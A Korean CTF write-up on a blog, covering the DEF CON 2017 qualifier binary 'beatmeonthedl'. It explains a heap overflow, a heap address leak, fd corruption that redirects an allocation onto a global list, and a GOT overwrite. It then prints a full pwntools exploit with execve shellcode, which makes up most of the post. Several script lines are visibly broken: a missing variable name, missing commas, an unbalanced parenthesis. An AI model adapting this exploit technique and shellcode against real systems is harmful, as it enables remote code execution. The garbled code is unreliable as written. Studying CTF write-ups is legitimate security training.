티스토리 뷰

smashme와 동일하게 바이너리 자체에는 어떤 보호기법도 걸려있지 않고, 서버에는 ASLR이 걸려있다.


1번 메뉴와 4번 메뉴에서 malloc으로 할당하는 size는 0x38인데 반해, 입력은 read() 함수를 통해 0x80만큼 입력을 받기 때문에 Heap Overflow가 발생한다.


Heap에 할당된 영역을 2개 이상 해제하게 되면 binlist에 들어가게 되어, fd와 bk에 heap 영역의 주소가 들어가는데 이 주소를 leak하여 공격에 사용할 수 있다.


RIP 변조는 조금 더 과정이 필요하다. 해제된 chunk의 fd를 할당된 heap address가 저장되는 전역 변수인 reqlist로 변조하면 다음에 추가로 heap을 할당할 때 reqlist의 위치에 heap이 할당이 되어 reqlist 자체를 변조할 수 있다. 1번 메뉴로 reqlist에 heap을 할당해서 reqlist를 GOT 영역의 주소로 변경하고, 4번 메뉴로 GOT 영역에 쉘 코드가 저장된 영역의 주소 값을 넣으면 RIP 변조를 할 수 있다.


Exploit

  1. 1번을 여러번 실행하여 Heap Address를 제법 할당해준다.(나중에 reqlist를 덮을 때 개행이 들어가므로...)
  2. Chunk 2개를 해제한다.( ie)1번, 3번 chunk.... )
  3. 해제된 Chunk 앞의 Chunk를 Overflow시켜 Heap Address를 Leak한다.
  4. 다시 한 번 Overflow시켜 fd를 reqlist의 주소로 변조한다.
  5. 3번 추가로 Heap을 할당한다.
  6. reqlist에 GOT 영역의 주소와 leak한 heap address를 저장해준다.
  7. heap address에 쉘코드를 넣어준다.
  8. GOT 영역에 heap address를 넣어준다.
  9. 트리거


페이로드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
#!/usr/bin/python
from pwn import *
 
sc = "\x90"*40
sc += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
 
reqlist = 0x609e80
arena = 0x609b88
puts_got = 0x609958
 
def login(s):
    print s.recvuntil("Enter username: ")
    s.sendline("mcfly")
    print s.recvuntil("Enter Pass: ")
    s.sendline("awesnap")
 
def add_req(s, string):
    print s.recvuntil("| ")
    s.sendline("1")
    print s.recvuntil("Request text > ")
    s.sendline(string)
 
def pri_req(s):
    print s.recvuntil("| ")
    s.sendline("2")
 
def del_req(s, no):
    print s.recvuntil("| ")
    s.sendline("3")
    print s.recvuntil("choice: ")
    s.sendline(str(no))
 
def upd_req(s, no, string):
    print s.recvuntil("| ")
    s.sendline("4")
    print s.recvuntil("choice: ")
    s.sendline(str(no))
    print s.recvuntil("data: ")
    s.sendline(string)
 
= process("beatmeonthedl")
#s = remote("beatmeonthedl_498e7cad3320af23962c78c7ebe47e16.quals.shallweplayaga.me"6969)
 
login(s)
 
add_req(s, "AAAAAAAAAAAA")
add_req(s, "BBBBBBBBBBBB")
add_req(s, "CCCCCCCCCCCC")
add_req(s, "DDDDDDDDDDDD")
add_req(s, "EEEEEEEEEEEE")
add_req(s, "EEEEEEEEEEEE")
add_req(s, "EEEEEEEEEEEE")
add_req(s, "EEEEEEEEEEEE")
add_req(s, "EEEEEEEEEEEE")
add_req(s, "EEEEEEEEEEEE")
add_req(s, "EEEEEEEEEEEE")
add_req(s, "EEEEEEEEEEEE")
del_req(s, 2)
del_req(s, 0)
upd_req(s, 1"A"*71)
pri_req(s)
print s.recvuntil("1) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n")
heap_address = u64(s.recvn(4+ "\x00"*4)
 
print "Heap Address : " + hex(heap_address)
 
payload = "\x00"*8
payload += "\x31" + "\x00"*7
payload += p64(reqlist + 8)*2
payload += "A"*16
 
payload += "\x30" + "\x00"*7
payload += "A"+"\x00"*7
payload += p64(reqlist-0x10)        # Point reqlist-0x10
payload += p64(arena)
 
upd_req(s, 1, payload)
add_req(s, sc)
add_req(s, "BBBBBBBBBBBBBBBBBBB")
add_req(s, p64(puts_got) + p64(heap_address+0x10+ "\x00"*40)
 
#print "Heap_Address : " + hex(u64(p64(heap_address)[:-5+ "\x00"*5))
upd_req(s, 1, sc)
upd_req(s, 0, p64(heap_address+0x20))
 
s.interactive()
s.close()
cs


공격 결과


'Wargame & CTF > CTF' 카테고리의 다른 글

[Codegate 2018] BaskinRobins31  (0) 2018.02.05
[Codegate 2018] RedVelvet  (0) 2018.02.05
[Defcon 2017 예선] smashme  (0) 2017.05.01
[Code Gate 2017] Messenger  (0) 2017.02.16
2016년도 SecurityFirst Final Pwn300 - UAF(소스코드, 익스)  (0) 2016.12.13
댓글
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
«   2024/05   »
1 2 3 4
5 6 7 8 9 10 11
12 13 14 15 16 17 18
19 20 21 22 23 24 25
26 27 28 29 30 31